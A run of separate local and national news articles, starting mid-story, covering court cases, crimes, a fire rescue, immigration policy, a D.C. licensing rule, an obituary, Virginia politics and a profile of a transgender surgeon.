Shes an ill person in need of protection, attorney David Felsen said Friday. Creating exceptions creates bad law and does not do justice.

Prosecutors said they will continue to explore whether Hoggle is exaggerating her mental illness.

For the sake of Jacob and Sarah, we will leave no stone unturned in our efforts to uncover the truth, said Ramon Korionoff, a spokesman for the Montgomery County states attorneys office.

Mother of missing children keeps trying to escape from psychiatric hospital

The recent issue  whether a psychiatrist chosen by prosecutors could evaluate Hoggle  centered on the concept of mental competence, which holds that criminal defendants cannot participate in court proceedings if they do not understand the proceedings and cannot effectively communicate with their counsel.

Since Hoggle has been at Perkins, doctors there have maintained that she is mentally incompetent. With proper treatment, the doctors have said, there is a good chance that her mental state will improve enough for her to participate in a court process.

That long-standing assessment by Perkins staff has put the case on hold, even as periodic searches continue for the children. In 2014, Hoggle was charged with counts of abduction, neglect and hindering. She has not been charged with murder, although police have long said they are building that case against her.

Catherine Hoggle after her arrest in 2014. (Family photo)

By February of this year, prosecutors had grown weary of waiting. In an unusual move, they requested that a judge allow them to send a doctor they chose into Perkins to gauge whether Hoggle is mentally competent.

The goal, Montgomery County States Attorney John McCarthy said at the time, was to try to move this ball forward.

As part of the prosecutors request, they submitted affidavits from Hoggles now ex-boyfriend, who is the childrens father, and from her mother and an aunt  all of whom said Hoggle knew what was going on in the legal case and was trying to manipulate the system. Prosecutors also said that Perkins doctors were not spending enough time evaluating Hoggle for competence in one-on-one sessions compared with the time they were spending treating her.

Family implores mentally ill mom to tell them where she left missing children

In the ruling Thursday, Montgomery County District Court Judge Eugene Wolfe said prosecutors had not established that there was anything wrong with the Perkins doctors actions.

The defendant is being evaluated by a team of medical professionals at Clifton T. Perkins State Hospital and their opinion of the defendants competency has been unanimous, Wolfe wrote. The defendant is undergoing twenty-four hour supervision by staff at Perkins and has a staff member with her at all times. There is nothing to suggest that the staff at Perkins are performing the evaluation in a manner inconsistent with the medical standard.

Wolfe also ruled that the affidavits from Hoggles relatives and ex-boyfriend about their assessment of Hoggles mental acuity did not bear on the matter at hand.

[Read the judges full order here. ]

Competency to stand trial is a medical issue and an opinion as to the medical fact of competence to stand trial should be reached by a medical diagnosis, Wolfe wrote.

Prosecutors at the Montgomery County states attorneys office will keep asking questions of Hoggle, said Korionoff, the spokesman.

The state remains concerned about the defendants possible malingering, he said. Although the judge has denied the states request for an independent evaluation, there will be other opportunities to challenge Ms. Hoggles competency status to stand trial.
A neighbor rescued a woman and an infant from a fire at a townhouse in Seat Pleasant, Md. The blaze displaced four people. (Courtesy of Marc Bashoor/Prince George's County Fire department)

A neighbor rescued a woman and an infant from the basement of a burning house in Prince Georges County by hooking a chain to security bars on windows and yanking them off, a move that fire officials said probably prevented them from being seriously injured.

The fire happened around 9:30 p.m. Thursday in the 7100 block of G Street in the Seat Pleasant area. No one was injured, fire officials said.

Mark Brady, a spokesman with the Prince Georges County fire department, said several citizens called 911 saying people were trapped in the burning home, including two in the basement who couldnt get up the stairs to the main level because they feared heavy smoke and fire. Security bars on the basement windows also prevented them from getting out.

Firefighters said Ricardo Belt, who lives nearby, hooked a chain to the back of his truck and attached the other end to the security bars. He then drove the truck, yanking the bars off the windows.

When local police arrived, they also rescued a man and a woman from the upstairs part of the home.

Firefighters found heavy smoke coming from the rear and first floor of the house. They were able to quickly extinguish the blaze.

Brady said Belts quick thinking and action relieved a lot of anxiety.

Anytime you cant get out, theres a lot of anguish, anxiety and panic, Brady said. He did a heroic thing.

Brady said Belts actions were significant in preventing any further injuries.

Belt did not immediately return a message left at his home.

Those rescued from the home were examined by first responders at the scene and were not transported to a hospital, according to Brady. They are being offered help from the Red Cross.

A preliminary investigation found that the fire was probably caused by incenses that were burning and left unattended. Those ignited other combustible items in the home, Brady said.

The estimated the cost of damage is $35,000.
Police arrested a Glen Burnie man in connection with a reported robbery in the parking garage of the Maryland Live Casino in Hanover, Md.

The incident happened about 4 a.m. Thursday on the third floor of the garage when a man approached a woman, displayed a knife and demanded her purse, according to police. The woman was not injured, and the man took the purse and fled in a dark vehicle.

Police say they searched the area and located a suspect at a nearby 7-Eleven convenience store. Kevin Michael Brown Jr., 32, was arrested and is expected to be charged with assault-related violations and robbery, police said.
The clues to the killing, police said Thursday, include $11,000 in cash wrap ped in heat-sealed plastic in a toilet tank, and a gunman known as Mo who purportedly said: The boy went down.

Mo is Mouctar Sylla, 27, of Castle Boulevard in the Briggs Chaney area of Montgomery County, according to police. He was booked into jail Thursday on charges of second-degree murder, possession of marijuana with intent to sell and firearms charges. A judge ordered him held on $3 million bond.

In support of the criminal charges, detectives on Thursday filed a 10-page affidavit outlining events before and after the March 11 killing of Sheldon Williams, 20, of the District.

Williams was found facedown with a gunshot to the back of the head, in a grassy area along Castle Boulevard. The affidavit is complicated, a reflection of detectives having to stitch together the narrative with information from several witnesses, none of whom appears to have seen everything.

One thing does seem clear: On March 11, Williams went to Syllas apartment to buy marijuana, according to the affidavit and a police spokesman. There was some type of argument, and Williams may have left with no drugs, according to the court records.

Mouctar Sylla, 27, was charged with second-degree murder Thursday in Montgomery County. (Montgomery County Police)

One witness, identified by his initials, would later tell detectives that he, another man and Williams began walking back to their car from the apartment when a man came up from behind who had dreadlocks, a white cap and a white shirt bearing a large Polo emblem.

The suspect yelled at them to get their attention, then chambered a round in a gun and began shooting at the three of them, detectives wrote.

Two of the men made it to the car, but Williams did not. The two later went looking for him, and ran into police working a homicide scene.

Another witness told detectives about hearing three gunshots, looking out a window and seeing a man with braids and a white shirt run to the passenger side of a Dodge Avenger.

Detectives reviewed surveillance footage from nearby businesses, which showed a passenger in the Avenger with long hair and a white shirt, possibly with the same logo in the breast area of his shirt as seen by others. The description matched Sylla, who owns an Avenger, according to police.

Detectives searched Syllas apartment. Inside, they said in court records, they found the wrapped cash in the toilet tank, an additional $690 in a camouflage jacket, a digital scale, and marijuana stored in a suitcase.

Detectives said they spoke to a woman who said she was driving the Avenger that night and she told them she saw Sylla run after three men. Mo chased after them to see what they were doing, she said, as recounted in the police affidavit.

That filing also said that the woman said she heard three shots before Sylla came to the Avenger and got inside, where the woman asked him about the gunfire.

Sylla told her, The boy went down . . . I think they came to rob me,  detectives wrote.

The detectives filing continued:

Sylla also told the woman there was an exchange of gunfire with the other men  their shooting twice, his shooting once. He also said he thinks one of the men may have accidentally struck the other one. Or, as he told the woman driving the Avenger, That guy just shot his friend. Lets go. . . . They tried to shoot at me and I tried to shoot at them.

Detectives brought Sylla in for questioning.

Sylla contradicted himself multiple times throughout the interview, they wrote, citing several examples. Sylla denied that he pulled out his gun, but also admitted to pulling out his gun and waving it around. Sylla said he chased the subjects, and other times he was asking why he would chase three guys with a gun.
Police at the scene of a fatal stabbing in the 4000 block of Tunlaw Rd. NW in Glover Park. (Bronwen Latimer/The Washington Post)

A 59-year-old man was charged Friday with fatally stabbing a female visitor during what D.C. police described as a domestic-related attack in the Glover Park apartment where he lived.

Charles E. Sykes faces a second-degree murder charge and is expected to make an initial appearance in D.C. Superior Court on Saturday. He is a 17-year resident of the apartment, which is owned by a nonprofit that helps homeless people secure permanent housing.

Police did not disclose a motive and did not release the name of the victim, saying relatives had not yet been notified.

The stabbing occurred shortly after 6 a.m. Friday in a fifth-floor apartment in the 11-story building in the 4000 block of Tunlaw Road NW, adjacent to Glover-Archbold Park.

Police said the suspect called 911 to report the incident and then called in a bomb threat that forced the evacuation of 291 apartments. No bomb was found. A police spokesman described Sykes as cooperative during an interview with detectives.

The apartment is owned by Anne Frank House Inc., an all-volunteer nonprofit group that helps homeless residents find housing. The group owns 12 residences in the Districts Northwest Wards 3 and 4 and typically offers clients permanent places to live. Some pay up to $250 in monthly rent, or 25 percent of their income. Others pay nothing.

Clients move from living on the edge in danger and degradation to living on their own in comfortable and fully furnished single-occupancy apartments, the organizations website says.

Sheila Meyer, a co-vice president of the Anne Frank House, said Sykes did not work. She described the victim as his long-time companion. I know she had been with him for many years, Meyer said. This comes as a total shock.

The Anne Frank House contracts with another group, Friendship Place, to provide medical, psychological and other support to its clients.

An earlier version of this story incorrectly said the Anne Frank House owned the apartment building in which Sykes lived. The nonprofit owned the unit where Sykes lived.


Romechia Simms, left, with her mother, Vontasha Simms, in their home in Waldorf, Md., in March. A collage of photographs of 3-year-old JiAire Lee, who died in a swing last year, decorate the wall above the couch. (Marvin Joseph/The Washington Post)

Wrapped in a black coat, Romechia Simms walks through a cemetery in Southern Maryland on a cold March day, tiptoeing around headstones, making her way to the grave of her 3-year-old son.

Shes still grieving for him, still trying to forgive herself for how JiAire Donnell Lee died  on a swing in a park where shed been pushing him for nearly two days. Although a judge in February found Simms not criminally responsible for her actions because she suffers from schizophrenia, she has to find a way to live with what happened. And what shes lost.

At Resurrection Cemetery, Simms snaps a photo of the grave marker, which shows engraved images of JiAire as a baby.

Hi, Babee, says Simms, calling him by a nickname.

Hi, Babee, says her mother, Vontasha Simms.

Romechia, 25, reaches down and cleans the grave marker with a napkin, wiping off dirt, polishing it until it shines in the setting sun.

Then she notices something missing from her last visit.

What happened to his little car? she asks. There was a red toy car right there.

She picks up the tomb canister inserted in the grave marker. But nothing is inside.

Wheres the car? Wheres his car? she says, walking up and down the rows of graves. Mom, look around  see if you can see the car.

Her mother tries to help. Mechia, its gone. Its gone. You see the spot it was at.

Vontasha lifts the canister. Next time, Vontasha says, put it down in here.

They decorate the grave with silk purple and white flowers they bought at the Walmart down the road.

Thats nice, Vontasha says.

Then the mother and grandmother hold hands to pray.

Dear Lord, we want to thank you for your mercy and glory and all the favor you show us daily, Romechia prays. We want to thank you for keeping JiAire in your care, dear Lord, where you can comfort him and love him and guide him.



Three-year-old JiAire Lees gravestone at Resurrection Cemetery in Clinton, Md. (Marvin Joseph/The Washington Post)

She wipes away tears as a cold wind whips. Even though times have been hard, I still try to keep the faith, and I just pray that you stay with him and bless him and look over my family and help us to move on after something so tragic, Romechia pleads. We never know why, dear Lord, but we know there will come a time for us all. And we plan on meeting JiAire one day again in heaven.

Then she kisses her fingers and touches the gravestone six times. We love you, Babee, she says. We will be back.

People will judge me

Memories of JiAire are everywhere inside the rented blond brick rancher in Waldorf where Romechia lives with her mother. Romechia retreated here after she was released on bail from the Charles County Detention Center in December. She spends most of her time in her room, except for twice-weekly appointments with her therapist and support group meetings.

On a recent afternoon, Romechia, barefoot, opens the door of her bedroom and walks down the carpeted hallway and through the living room, passing a poster board photo collage devoted to JiAire: Romechia holding him as newborn; Vontasha kissing him on the cheek; JiAire sitting in a baby car seat, dressed in a blue winter cap and his first baby shoes; JiAire in a black jacket waving to the camera, his front tooth missing. In the final row of images, the boys funeral program is taped to the poster board: JiAire Donnell Lee, Sunrise 8/22/11; Sunset 5/22/15.

[Shed recovered from a breakdown. Then her son was found dead on a swing]

Romechia heads into the kitchen to make a tuna sandwich. She is wearing a sweater and blue jeans. She has gained 70 pounds from her antidepressant and antipsychotic medication, and its made her self-conscious. She opens a jar of mayonnaise, spreads it on a slice of bread and spoons the tuna on the other slice. She grabs a cup of juice, cleans the counter, takes the plate with the sandwich and returns to her bedroom.

Inside, she sits on the bed  two mattresses on the floor  in the corner of the room. She has her sons toys in boxes  balls, books, stuffed animals. He loved this one animal, a tan monkey, she remembers. He called it his little baby. He would pat his little monkey and say, Go to sleep baby, the way that I did him.

She still has his clothes packed away. She has not been able to bring herself to give anything away.

Sometimes I find myself doing weird things, like I will grab his socks and just hold onto his socks, she says. Or I will grab one of his toy balls and hold onto his ball  anything that helps me to feel close  that I know was his.



Romechia Simms and JiAire Lee after his first haircut, at the St. Charles mall, in March 2015. (Family photo)

JiAire Lee, 3, loved Austin Powers movies. Oh, behave! hed declare. (Courtesy of James Lee)

In the corner sits a blown-up photo that has run in newspapers all over the world. It was taken just two months before he died, right after his first haircut at the St. Charles mall. Shes bending down and brushing her cheek against her sons head. They are both smiling.

Its one of the last pictures me and my son took, she said. I want that somewhere on the wall. When I get a frame, I will hang it here.

Her bedroom window looks into a grassy fenced back yard. JiAire would have loved to play out there.

In her room, she often listens to music. Shes especially fond of Aaliyah and Tupac Shakur. My favorite singers are both dead, she says without emphasis.

Shes a singer, too. In high school, her choir director made her a soloist. Her voice is clear, able to hit every note in Adeles Hello. Romechia would love to sing on stage, perhaps make a career out of it. But then she stops herself.

People will judge me, she says. For what happened. Someone will point a finger and say, There is that mother who . . .   She stops. Nothing like that has ever happened before, she says. Her eyes are blank. The details of that night are blank.

A childs death at the hands of a mother is extremely rare in the United States, according to a USA Today analysis of FBI homicide data collected from 1976 to 2012. It showed that an average of 450 children a year are killed by a parent and that 6 in 10 were killed by their fathers.

Romechia has joined the ranks of mothers such as Andrea Yates, who drowned her five childrenages 7, 5, 3, 2 and 6 months  in a bathtub in suburban Houston in 2001, and Susan Smith who strapped her two sons, 3 and 14 months, into their car seats and let her Mazda roll into a South Carolina lake in 1994. Yates, who suffered from depression and psychosis, was found not guilty by reason of insanity and remains in a mental hospital. Smith, who initially told police that a black carjacker had kidnapped her children, is serving a life sentence in prison.

In Romechias case, the Charles County judge ruled she can remain free as long as she meets certain conditions, including being monitored by state psychologists, avoiding unsupervised contact with children and having her blood tested to verify that she is taking her medication.

[Woman whose 3-year-old died in a swing will get treatment, not prison]

Therapy is helping her cope, she says, but she adds, I will never get over losing my son.

At night, when she cant sleep, she writes her goals of how to go on in her journal. Before she was pregnant with JiAire, she was attending Bowie State University to become a high school English teacher. Now, she says, she wants to become a nurse.

When she does manage to sleep, beneath her purple bedspread, she dreams of JiAire. And then I wake up, and hes not here, she says.

Each morning, she rolls over, pulls the covers down and climbs out of bed. This is the hardest part: getting up to face another day. She prays, then goes into the bathroom to brush her teeth and take a shower.

She doesnt forget to take her medication.

She was just trapped

She and JiAire were holding hands as they walked to the park last year on a chilly day in May.

He was a chubby-cheeked preschooler who loved to dance, sing his ABCs and watch Austin Powers movies. Oh, behave, hed declare in a perfect imitation of the Mike Myers character. Or, Groovy, baby!



James Donnell Lee, JiAires father, during an interview after his sons death last year. (Bill OLeary/The Washington Post)

But Romechia had been struggling with her mental health for months, hearing voices and behaving so erratically that JiAires father, James Donnell Lee, filed a petition in D.C. Superior Court seeking custody. I do not believe she can safely care for our son, he wrote.

Nevertheless, at a brief court hearing 11 days before JiAires death, Lee agreed to continue sharing custody with Romechia. By then, shed been diagnosed with schizophrenia and prescribed medication for her illness.

She later told police that shed stopped taking her pills for a couple of days before she and JiAire headed to Wills Memorial Park in La Plata, Md., less than a mile from the motel room where they were living with her mother.

Simms had stopped taking medication because she believed it wasnt working and didnt understand the gravity of her illness, her public defender, Elizabeth Connell, said at a Feb. 22 hearing in Charles County Circuit Court.

She put JiAire in the swing but found herself unable to lift him out, Connell said.

[Some haunted by the Maryland park where a boy died]

And then the voices started telling her, Dont worry. Someone is coming. Someone is going to come,  her attorney said.

So Romechia waited. She waited as night fell. She waited as it began to rain. She waited as the temperature fell to 51 degrees.

She was just trapped, Connell said. What was happening was a mental breakdown, mental illness taking over her. And she kept pushing the swing, even as her son lost consciousness.

Forty hours passed before a neighbor noticed that something was wrong and called police. When sheriffs deputies arrived at the park on May 22, JiAires body was so stiff that they had to cut him out of the swing.

A medical examiner concluded that the boy died of hypothermia and dehydration and ruled his death a homicide. Romechia was charged with manslaughter and first-degree child abuse.

Vontasha Simms, the mother of the woman found pushing her dead 3-year-old son on a swing in a Maryland park, talks about the last time she saw them and her theory on what may have caused the the boy's death. (DeNeen Brown and Ashleigh Joplin/The Washington Post)

Earlier this year, a court-appointed forensic psychologist concluded that Romechias mental illness was to blame for her actions. But Charles County States Attorney Tony Covington told Judge Hayward West that JiAire was essentially  and I cant think of any other word to use for it, your honor  tortured to death.

Romechia remembers little about those hours in the park.

Did I mean for any of this to happen? Romechia said to the judge before being found not criminally responsible. No. Its just an unfortunate situation.

Her punishment, her mother says, is living without JiAire and with the knowledge that others blame her for his death. Vontasha doesnt.



Vontasha Simms talks about JiAires death and Romechias mental health problems during an interview last May in Upper Marlboro, Md. (Linda Davidson/The Washington Post)

She has pushed for legislation that would make it easier for relatives of adults with mental illness to get them help. She wanted to call it JiAires law, but it didnt advance in the Maryland legislature.

One day, she returns to the park where her grandson died. Shes planning a memorial walk in August to mark what would have been JiAires fifth birthday, and she has to map the route before she submits the proposal to the county.

I dont want him to be forgotten, she says. Im not going to let him be forgotten.

Vontasha also wants people to understand her daughters mental illness. Romechia, she says, loved JiAire.

Even during that terrible time, in the darkest moment of her life, she never left him there alone, Vontasha says. She stayed out there in the cold and the rain. She nearly had pneumonia herself. She took off her coat to cover his body. She never lost that motherly instinct.

I still feel him

One evening, Romechia slips into a booth at a TGI Fridays. At one table, there is a boy having dinner with his family. At another, there is a girl in pink falling asleep in her fathers arms.

She immediately thinks about JiAire.

Some days are worse than others, she says. I just try to keep family and friends around me that love me and support me. But there are times I feel really down and depressed. I think its going to be that way for a while. 

Its hard for her to move forward, but she has to find way.

I hate the way things happened, she says. But there is nothing I can do to change that. I will always keep [JiAire] close to my heart. Even though he is not here physically, I still feel him spiritually. I just know I will see him again one day.



A stuffed animal and flowers rest near a swing in Wills Memorial Park in La Plata, Md., where JiAire died last May. (Matthew Barakat/AP)

Fenit Nirappil contributed to this report.
Catia Paz sat quietly inside a vaulted Supreme Court chamber. She was wearing her best Sunday outfit and listening intently as lawyers argued for and against an executive action by President Obama that would offer Paz  a mother of two from Woodbridge, Va.  her last remaining chance to become legal in America.

As the hearing ended, she descended the courthouse steps Monday to a cheering crowd of immigrant activists and families who were exuberantly predicting victory for their cause. But Paz, who had waited in line since 5 a.m. for a chance to witness the hearing, had no time to savor the moment. She was late for a job interview and had to start her cleaning shift soon after that.

This means everything to me, and I am hoping for the best, Paz, 31, said later. If we win, I will finally be able to visit my country, to get a drivers license, maybe to buy my own house. But we have a long wait until the judges decide. For now, I will just keep working and caring for my kids.

Paz is one of an estimated 4 million undocumented immigrants who could benefit from the presidents 2014 action, which offered those whose children are U.S. citizens or legal permanent residents the right to live and work in the United States for a three-year period that can be renewed. That program was challenged in federal court by 26 state governments, and it is now under review by the high court.

Like many members of the Washington regions large Central American community, Paz followed a familiar path here. She crossed the border as a teenager, joining her parents and dozens of other relatives who had fled war-torn El Salvador since the 1980s. Over the years, many of them found ways to legalize. Her parents obtained extended protection as refugees; others became permanent residents.

Catia Paz, who graduated from high school in Woodbridge, and now works two jobs in the area, looks over her legal documents at the family home in Woodbridge. (Allison Shelley/For The Washington Post)

But Paz has remained in legal limbo for 15 years, even after she graduated from high school in Woodbridge, married a Salvadoran man and began to raise a family. In 2012, her younger sister was granted deportation relief under the presidents executive action for those who arrived illegally as children, but Paz was one year too old to qualify.

Now, as the mother of two children born in the United States, she is a likely candidate for Obamas 2014 initiative, called Deferred Action for Parents of Americans and Lawful Permanent Residents, and she has already prepared all the necessary documents with help from counselors at CASA of Maryland and Virginia, a service and advocacy agency for immigrants.

Catias case is like thousands of our members, said Kim Propeack, a senior official at CASA, which is based in Hyattsville, Md. If the Supreme Court doesnt vote in favor of this program, it would be devastating to communities across the country and in the Washington area. It would affect not only families, but the economy and the tax base.

Opponents of Obamas proposed programs argue that they would be costly to implement, that they constitute an excessive use of executive powers, and that they would grant amnesty to millions of people who entered the country illegally, benefiting from public health and education systems and taking jobs from American-born workers.

For now, Pazs right to remain here hangs by a slim legal thread. Several years ago, when her older daughter fell ill, immigration officials granted her a temporary reprieve from deportation, based in part on her steady job history and clean record. But she must reapply for the exemption once a year and has periodically been required to wear a bulky electronic ankle bracelet, used to prevent people from going underground if they fear being arrested or deported.

I try to hide it under long pants, but people can still see it. It makes me feel like a criminal, said Paz, who works two jobs, as a cleaner and department store clerk. Once I asked an officer at the court why I had to wear it. He said it was either that or prison.

Even though she entered the country illegally, Paz is proud of her accomplishments. She has learned to speak English well and found solid jobs, earning $14 an hour as a department store clerk and supplementing that by cleaning offices. Her husband, German, works in construction.

Left to right, Catia Paz plays with her daughter Alison, nephew Daniel and daughter Genesis at home in Woodbridge. (Allison Shelley/For The Washington Post)

The couple and their daughters, Genesis, 7, and Alison, 5, live with her parents and sisters in a red brick suburban house that is crammed with toys and car seats. In the driveway, there is room for two pickup trucks and a van from the evangelical church where she and her family are active members.

Most days, her life is a blur of work shifts, school pickups, housework and church meetings. But as the rancorous debate over illegal immigration has become center stage in national politics and the current presidential race, Paz has made a point of attending rallies to protest deportations or support Obamas executive actions.

She also volunteered to attend the Supreme Court hearing Monday, along with about 50 other immigrants and activists. The justices heard 90 minutes of oral arguments on both Deferred Action for Parents of Americans and a related initiative that would expand Obamas 2012 order called Deferred Action for Childhood Arrivals.

Court observers and legal experts have said the justices did not give any public indication Monday that they were likely to revive Obamas programs. With the court divided 4 to 4 along ideological lines since the death of Justice Antonin Scalia, experts suggested it might issue a tie vote on the case, leaving Obamas actions stalled and 4 million undocumented immigrants in limbo.

It was a very emotional experience, but I tried to listen carefully. This was about my life, Paz said at home one evening this week. She said she was optimistic because the justices seemed to ask more questions of lawyers from the opposing side. A lot of people are saying negative things, but I tell them we should not lose faith, she said. Like everything else, this is really in Gods hands.
The D.C. Department of Motor Vehicles indefinitely suspended a new rule that would have required new motorists to take a private driver education course to get a D.C. license. (D.C. Department of Motor Vehicles)

D.C. city officials announced Thursday they are indefinitely suspending a new rule that would have required residents to complete a private driver education course before earning a drivers license.

The requirement, set to go into effect on May 1, had raised concerns in some quarters that it was unfair to some potential drivers who might not be able to afford a private course, which can cost upwards of $1,000. Others were caught off guard by what they said was a lack of public notice about the change.

We are taking this action to give us a chance to further review the impact it may have, said Vanessa Newton, spokeswoman for the D.C. Department of Motor Vehicles.

D.C. Council member Mary M. Cheh (D-Ward 3) said this week that she was concerned about the new requirement and, had the city not acted, that she would have introduced emergency legislation to block its implementation. Even with Thursdays announcement, a spokeswoman for her office said Cheh still plans to hold hearings on this and other DMV-related matters next month.

Anyone who was seeking a license for the first time would have been required to take a driver education course, which consists of 30 hours of classroom time and eight hours of behind-the-wheel practice, at a D.C.-approved driving school. People who already had valid learners permits prior to May 1 would have been exempted from the requirement as long as their learner permits were valid at the time of their road test appointments.

Its not clear why city officials opted to require driver education courses. Researchers have long questioned whether the programs make people better drivers or lead to fewer crashes. In recent years, however, some safety advocates have suggested that new approaches to driver education may yield benefits, though no concrete links between such courses and driver behavior have yet been found.

[Safety experts doubt the benefits of driver education]

Cheh said she learned about the change from constituents who were puzzled about the reasoning behind the new requirement. Last month, she sent a letter to Lucinda M. Babers, the director of the D.C. DMV, seeking answers.

In her response, Babers wrote that the education requirement for first-time drivers supports the Districts goal for safer streets and reduced accidents.

Her letter noted that 41 states require driver education courses.

As for concerns about the cost of the courses, Babers wrote, Although program cost is a consideration, it should not be the driving factor when it relates to safety.

Baberss one-page response only raised more questions for Cheh, who wanted a better understanding of why the department opted to make the change.

I dont want [rules] being put into place without a full understanding of why, Cheh said.

Driver education used to be offered in D.C. public schools but was dropped in 2009; officials said the courses no longer fit with the systems academic focus. In Maryland, the states largest school district, Montgomery County Public Schools, dropped the driver education courses in the early 1990s when the state stopped paying for them. Even so, both

Maryland and Virginia require driver education for new drivers. Driver education is offered in all Virginia public schools.

John Townsend, spokesman for AAA Mid-Atlantic, said that while the prerequisite may be better than no driver education, D.C.s new requirement leaves too many questions unanswered.

Our concern, Townsend said, is that if you go from nothing  theres no driver education  to saying for safetys sake were now going to require it, is it going to necessarily be better?

Correction: An earlier version of this article misspelled the name of Lucinda M. Babers.
Tehran, Iran, Apr. 22

By Mehdi Sepahvand - Trend:

Iran's Yadavaran field yielded 16.5 million barrels of oil over the last Iranian fiscal year which ended March 19, said Hadi Nazarpour, the field's development project manager.

By March, Iran's production from the field since the beginning of production had reached 50 million barrels, he told Shana news agency Apr. 22.

By late March, the field's development project had made 98.6 percent progress, but the remaining 1.4 percent was related to the gas section of the field, the official further explained.

The Yadavaran oil field is shared between Iran and Iraq. The field's in-situ reserve is estimated at 34 billion barrels of oil.
Warren E. Barry, a maverick Fairfax County Republican who served in the Virginia legislature for more than 20 years and who often irritated party leaders with his independent views and outspoken manner, died March 31 at the home of his former wife in Clarksville, Va. He was 82.

The cause was congestive heart failure, said a son, former Fairfax County sheriff Stan Barry.

Warren E. Barry won election to the Virginia House of Delegates in 1968 and served 14 years in the lower chamber at a time when it was dominated by Democrats. He was elected in 1991 to the Virginia Senate, where he served for more than 10 years.

As a delegate, Mr. Barry struggled so often against legislators from rural parts of the state that he half-seriously suggested that Northern Virginia secede from the commonwealth.

He developed a reputation for his plain-spoken and often comical comments, delivered in a blunt Boston accent, the product of where he grew up. Describing the low voter turnout during Virginias odd-year elections, he said in 1981, The apathy is astounding. There is a frenzy of apathy.

Warren E. Barry at a legislative hearing in Richmond in 2001. (Steve Helber/Associated Press)

Soon after he was elected clerk of the Fairfax County circuit courts in 1983, Mr. Barry began to clash with judges over the courts purse strings. Judges wanted greater autonomy to choose and pay their staffs, but Mr. Barry maintained that it was the clerks prerogative to assign staff members to judges as needed. The county agreed with the judges and allowed them to hire their staffs directly.

In 1991, Mr. Barry was elected to the state Senate and became chairman of the Transportation Committee. Increasingly, he found himself out of step with changing cultural norms and often with the growing conservatism of the GOP.

He was forced to apologize in 1993 after making jokes about African Americans and gay people at a roast for another political figure. In 1997, he argued that women should not be admitted to the state-supported Virginia Military Institute.

Why dont we accept the fact that all wars in history have been fought with male warriors? said Mr. Barry, a former Marine. Why is it we insist on making warriors out of females in this country?

In 1999, he incurred the wrath of fellow Republicans, including then-Gov. James S. Gilmore III, when he contributed $75,000 to his sons campaign for Fairfax County sheriff. His son was running as a Democrat.

In 2000, Mr. Barry joined Democrats in blocking a Republican-backed measure to require a 24-hour waiting period before a woman could obtain an abortion. He was the lone Republican to vote against the measure in a Senate committee.

Its no place for a layman legislator to dictate these things, and thats what we are, laymen legislators, Mr. Barry said at the time. These bills really make me very uncomfortable, trying to dictate to women what they should or shouldnt do in a very difficult situation such as this.

A year later, Mr. Barry sponsored a bill to require all public school students in Virginia to recite the Pledge of Allegiance or face suspension. When a House of Delegates committee weakened the bill, a furious Mr. Barry called his political opponents spineless pinkos.

In 2002, Mr. Barry resigned his Senate seat to become a member of the states Alcoholic Beverage Control board, on which he served until retiring in 2006.

Hes got an idea of the way the world ought to be: the world according to Warren, one of his closest friends in the state Senate, Richard L. Saslaw (D-Fairfax), told The Washington Post in 2001. His convictions are as strong as anybodys Ive ever seen.

Warren Everett Barry was born Aug. 4, 1933, in Boston. After graduating in 1954 from the Boston campus of the University of Massachusetts, he served in the Marine Corps and settled in Northern Virginia in 1958.

He had a gumball-machine franchise for several years and was a shop teacher at Robert E. Lee High School in Springfield, Va., where he lived for many years. Mr. Barry became a millionaire from a commercial real estate management company and from other business interests. In retirement, he lived in Heathsville, Va.

His first marriage, to Theresa McKay, ended in divorce. His second wife, the former Cheryl Moore, died in 2012 after 29 years of marriage.

Survivors include three sons from his first marriage, Stan Barry of Centreville, Va.; Jim Barry of South Boston, Va.; and Scott Barry of Punta Gorda, Fla.; a sister; and six grandchildren.

I somehow walk around with a lightning rod, Mr. Barry told The Post in 2001. Im just not the type of person someone can dictate to. And Ive never been governed by what is politically correct.
RICHMOND  U.S. Rep. Robert J. Wittman has launched a political action committee, taking the first official step in his campaign for the Republican nomination for governor, he announced Thursday.

The move to create the Virginia First Fund PAC means he can begin to raise money to run statewide in 2017, while seeking re-election to Congress.

Ed Gillespie, a longtime political strategist and former White House counselor, is also seeking the GOP nod and has a significant head start, having already raised about $750,000 in five months.

Former attorney general Ken Cuccinelli II, who lost the 2013 gubernatorial race, has said he is considering running as well.

Wittman, who had about $1 million in his congressional campaign account at the end of March, plans to speak Friday at Shad Planking, a long-standing political ritual in Virginia.

Launching the Virginia First PAC is a necessary step forward for Congressman Wittman in anticipation of his Gubernatorial bid in 2017, his political director, Garrison Coward, said in a statement.

Right now, Congressman Wittman is devoting his full energy to a successful 2016 reelection campaign in the First District, and hes continuing to advance policies that limit government overreach and vitalize Virginias diverse economy.

[Dec. 2015: GOP congressman Rob Wittman prepares to jump into Va. governors race]

Wittman won a convention in a special election for Congress in 2007. He has said previous experience serving on the Montross Town Council, including a decade as mayor, the Westmoreland County Board of Supervisors and state House of Delegates helped prepare him to run the state.

He has also served as chairman of the U.S. House Armed Services Readiness Subcommittee.
Marci Bowerss voice is throaty and whiskey-smooth. She tends to speak sotto voce and exudes a quiet confidence.

As an obstetrician, she delivered more than 2,200 babies. As a 58-year-old surgeon, she has performed 1,500 gender affirmation operations  and counting.

Its the latter she understands most intimately. In 1997, Bowers underwent the procedure after a lifetime of knowing she was truly female. Three years later, she moved to the old mining town of Trinidad, Colo., to train under a pioneering doctor and establish herself as the first transgender woman to master that same surgery.

Her mentor in Trinidad was Stanley Biber, a former Army physician whod happened into the field after a man walked into his general practice in 1969 and asked whether he could perform a sex-change operation. Biber wasnt one to refuse a patient with a medical need, so after acquiring surgical drawings and instructions from Johns Hopkins Hospital in Baltimore  which had been doing such procedures for several years  he successfully performed his first surgery on a transgender person.

Before long, little Trinidad, population 9,000, was known as the sex-reassignment capital of the world.

Biber, then 80, told Bowers that she had the courage, the hands and the heart to carry on his practice  which she did, until disagreements with the local hospital triggered a move that ultimately landed her in northern California at Mills-Peninsula Medical Center.

Out of the office, Bowers teaches and lectures and, as a member of the faculty at Mount Sinai Hospital in New York City, is helping to establish the countrys first medical education program for transgender surgeons. She remains one of just a handful of physicians worldwide who does surgical reversal of the genital mutilation suffered by African women. She does so without charge.

Gender-affirmation surgeries, however, are the mainstay of Bowerss professional life. Of the 140 to 150 she performs in a typical year, the large majority are male-to-female procedures. (The opposite remains more difficult and more expensive, with less satisfying results, Bowers said.) Her patients come from across the United States and occasionally from overseas. Seniors are no longer rare as patients.

Weve had over a dozen senior citizens, women in their 70s, who for one reason or another have come to the conclusion that this is the time, she said. A lot of people put off the surgery . . . until after retirement.

Her waiting list is now nearly three years long.

